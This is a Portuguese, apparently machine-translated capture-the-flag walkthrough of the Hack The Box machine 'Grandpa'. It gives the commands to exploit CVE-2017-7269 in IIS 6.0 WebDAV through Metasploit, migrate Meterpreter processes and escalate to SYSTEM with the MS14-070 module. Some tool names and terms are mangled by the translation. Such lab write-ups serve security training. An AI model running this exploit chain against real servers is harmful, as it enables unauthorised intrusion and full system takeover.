
O vovô é uma das máquinas mais simples do Hack The Box, no entanto, abrange o amplamente explorado CVE-2017-7269. Essa vulnerabilidade é trivial de explorar e concedeu acesso imediato a milhares de servidores IIS em todo o mundo quando se tornou conhecimento público
Eu adiciono vovô no arquivo / etc / hosts
sudo /etc/hosts
com
10.10.10.14. grandpa.htb

Etapa 1 – Reconhecimento
O primeiro passo antes de explorar uma máquina é fazer um pouco de escaneamento e reconhecimento.
Essa é uma das partes mais importantes, pois determinará o que você pode tentar explorar posteriormente. É sempre melhor gastar mais tempo nessa fase para obter o máximo de informações possível.
Digitalização de portas
Vou usar o Nmap (Network Mapper). O Nmap é um utilitário gratuito e de código aberto para descoberta de rede e auditoria de segurança. Ele usa pacotes IP brutos para determinar quais hosts estão disponíveis na rede, quais serviços esses hosts estão oferecendo, quais sistemas operacionais estão executando, que tipo de filtros / firewalls de pacotes estão em uso e dezenas de outras características.
Existem muitos comandos que você pode usar com esta ferramenta para verificar a rede. Se você quiser saber mais sobre isso, consulte a documentação aqui.

Eu uso o seguinte comando para executar uma verificação intensiva:
nmap -A -v grandpa.htb
-UMA: Ativar detecção de SO, detecção de versão, varredura de script e traceroute
-v: Aumentar o nível de verbosidade
grandpa.htb: nome do host da caixa Vovô
Se você achar os resultados um pouco exagerados, poderá executar outro comando para obter apenas as portas abertas.
nmap grandpa.htb

Podemos ver que há apenas 1 porta aberta:
Porta 80. usado com mais freqüência pelo HTTP (Hypertext Transfer Protocol)
Sabemos que o servidor é um IIS 6.0 do cabeçalho do servidor http. Serviços de Informação da Internet (IISanteriormente Servidor de Informações da Internet) é um software extensível para servidor Web criado pela Microsoft para uso com a família Windows NT. Mais informações aqui
O IIS 6.0 (nome de código “Fita Adesiva”), incluído no Windows Server 2003 e no Windows XP Professional x64 Edition, adicionou suporte ao IPv6 e incluiu um novo modelo de processo do trabalhador que aumentou a segurança e a confiabilidade do HTTP.sys. um ouvinte de protocolo específico de HTTP para solicitações HTTP
Também podemos ver a partir do http-title que o site está “em construção” e que existe uma http-webdav-scan com todos os métodos permitidos
Eu uso o script nmap para tentar obter mais informações. O script envia uma solicitação OPTIONS que lista o tipo de dav, tipo de servidor, data e métodos permitidos. Em seguida, ele envia uma solicitação PROPFIND e tenta buscar diretórios expostos e endereços IP internos, fazendo a correspondência de padrões no corpo da resposta
nmap --script http-webdav-scan -p80 grandpa.htb
Aqui está mais informação neste script no site nmap

WebDAV ou Criação e Versão Distribuída na Web (WebDAV) é uma extensão do Protocolo de transferência de hipertexto que permite aos clientes executar operações remotas de criação de conteúdo da Web. Mais informações aqui
Podemos ver na seção de suporte do servidor que o IIS da Microsoft possui um módulo WebDAV.
eu uso davtest para verificar se eu posso enviar arquivos

Eu uso o seguinte comando
davtest -url http://10.10.10.14

Não parece. eu uso Exploração de pesquisa para verificar se há alguma vulnerabilidade conhecida no IIS 6.0. Searchsploit é uma ferramenta de pesquisa de linha de comando para Explorar banco de dados

Eu uso o seguinte comando
searchsploit iis 6.0

Eu posso ter mais detalhes sobre a exploração com
searchsploit -x 41738.py

O ataque é baseado em um Programação orientada a retorno cadeia. Programação orientada a retorno (ROP) é uma técnica de exploração de segurança que permite que um invasor execute código na presença de defesa de segurança, como proteção de espaço executável e assinatura de código
Você também pode verificar o Explorar banco de dados encontrar a exploração


a Banco de Dados Nacional de Vulnerabilidades

a Vulnerabilidades e exposição comuns base de dados


Existe um módulo Metasploit disponível

Etapa 2 – Visitar o site
Não vemos muito quando visitamos o site. No console do desenvolvedor, podemos ver que ele é alimentado pelo ASP.NET estrutura

Nós vamos usar Metasploit, que é uma estrutura de teste de penetração que simplifica os hackers. É uma ferramenta essencial para muitos atacantes e defensores

Eu lanço Estrutura Metasploit no Kali e procure o comando que devo usar para iniciar a exploração

Se eu usar este comando
searchsploit iis 6.0
Recebo a mesma tabela do Terminal mais cedo
Se eu digitar
search iis 6.0
Eu obtenho 174 resultados

A façanha que me interessa é o número 147 nesta lista
Se você deseja obter algumas informações sobre a exploração, pode usar o seguinte comando
info exploit/windows/iis/iis_webdav_scstoragepathfromurl
E você obterá mais detalhes sobre a exploração

Eu uso o seguinte comando para usar a exploração
use exploit/windows/iis/iis_webdav_scstoragepathfromurl
Preciso configurar as opções antes de iniciar a exploração. Eu verifico as opções com
show options

Eu ajustei o RHOSTS com o seguinte comando
set RHOSTS 10.10.10.14
Quando verifico novamente as opções, recebo este

Verifico se o alvo está vulnerável a
check
Então eu executo a exploração com o comando
exploit

E eu recebo um Meterpreter sessão
De Segurança ofensiva site, obtemos esta definição para Meterpreter
O Meterpreter é uma carga útil avançada e dinamicamente extensível que usa em memória Estágios de injeção de DLL e é estendido pela rede em tempo de execução. Ele se comunica pelo soquete stager e fornece uma API Ruby abrangente do lado do cliente. Possui histórico de comandos, conclusão de guias, canais e muito mais.
Você pode ler mais sobre o Meterpreter aqui
Vamos começar reunindo algumas informações
getuid retorna o ID do usuário real do processo de chamada. A sessão que obtive não parece ter privilégios suficientes para executar este comando. O acesso foi negado

Quando isso acontece, listo os processos em execução com
ps
e escolha uma propriedade AUTORIDADE NT SERVIÇO DE REDE

Eu migro para o processo 3644 com
migrate 3644

Agora, quando eu checo getuid, eu tenho
Server username: NT AUTHORITYNETWORK SERVICE

Esta foi a sessão que tive antes de migrar para outro processo

Esta é a sessão que obtive após migrar para outro processo

Digite o seguinte comando para obter um shell padrão no sistema de destino
shell

Verifico quem sou na máquina com o comando
whoami

Eu obtenho mais informações da máquina com
sysinfo

Eu navego para C:

então Documentos e Configurações com
cd "Documents and Settings"

Eu posso ver dois usuários – Administrador e atormentar. Eu tento navegar para Harry. O acesso foi negado. O mesmo para a pasta Administrador – o que é esperado, pois ainda não tenho acesso root

Saio do shell com o comando
exit

Etapa 3 – Usando o sugeridor de exploração local
Eu corro o sugeridor de exploração local. As explorações são sugeridas com base na arquitetura e plataforma em que o usuário possui um shell aberto, bem como nas explorações disponíveis no meterpreter
run post/multi/recon/local_exploit_suggester

Vou usar o MS14-070 explorar. Eu procuro mais algumas informações sobre Metasploit com
info exploit/windows/local/ms14_070_tcpip_ioctl

Assim como no Rapid7 local na rede Internet

Etapa 4 – Usando o MS14-070 para executar a escalação de privilégios
Coloquei esta sessão em segundo plano com o comando
background

Eu executo o seguinte comando para usar a exploração que encontrei
use exploit/windows/local/ms14_070_tcpip_ioctl

Em seguida, verifico as opções dessa exploração

Eu marquei a sessão com
set SESSION 1

Eu corro a exploração com
run

A exploração foi bem-sucedida, mas não recebi um shell de volta. Eu verifico as opções

e defina o LHOST como meu IP com
set LHOST 10.10.14.36
Você pode verificar o seu aqui

Em seguida, corro a exploração com
exploit

Isso confirma que a exploração foi bem-sucedida, mas ainda não recebi um shell. Eu verifico a sessão com
sessions -l
Eu posso ver que eu tenho
NT AUTHORITYSYSTEM

Volto a esta sessão com
sessions -i 1

eu verifico getuid e pegue AUTORIDADE NT SYSTEM de volta. Recebo um shell padrão no sistema de destino e verifico quem sou eu na máquina. eu recebo AUTORIDADE NT SERVIÇO DE REDE de volta, que não é o que eu quero!
Saio deste shell e verifico os processos. Percebo que tenho acesso de administrador na máquina. Acabei de migrar para outro processo – o que faço com
migrate 408

De volta ao shell padrão no sistema de destino e, quando verifico quem sou na máquina, sou finalmente um administrador!
Etapa 5 – Procurando o sinalizador user.txt
Eu navego para o atormentar pasta do Documentos e Configurações
Eu posso listar todos os arquivos / pastas com o seguinte comando
dir
Eu então passo para o Área de Trabalho

E eu acho a bandeira do usuário! Posso verificar o conteúdo do arquivo com
type user.txt

Etapa 6 – Procurando o sinalizador root.txt
Vamos encontrar a bandeira raiz agora! Eu navego até Comercial e faça o check-in no Administrador/Área de Trabalho pasta. Eu encontro a bandeira!

Eu uso o seguinte comando para ver o conteúdo do arquivo
type root.txt

Parabéns! Você encontrou as duas bandeiras!
Não hesite em comentar, fazer perguntas ou compartilhar com seus amigos 🙂
Você pode ver mais dos meus artigos aqui
Você pode me seguir Twitter ou em LinkedIn
E não se esqueça de #GetSecure, #BeSecure & #StaySecure!
Outros artigos da Hack The Box
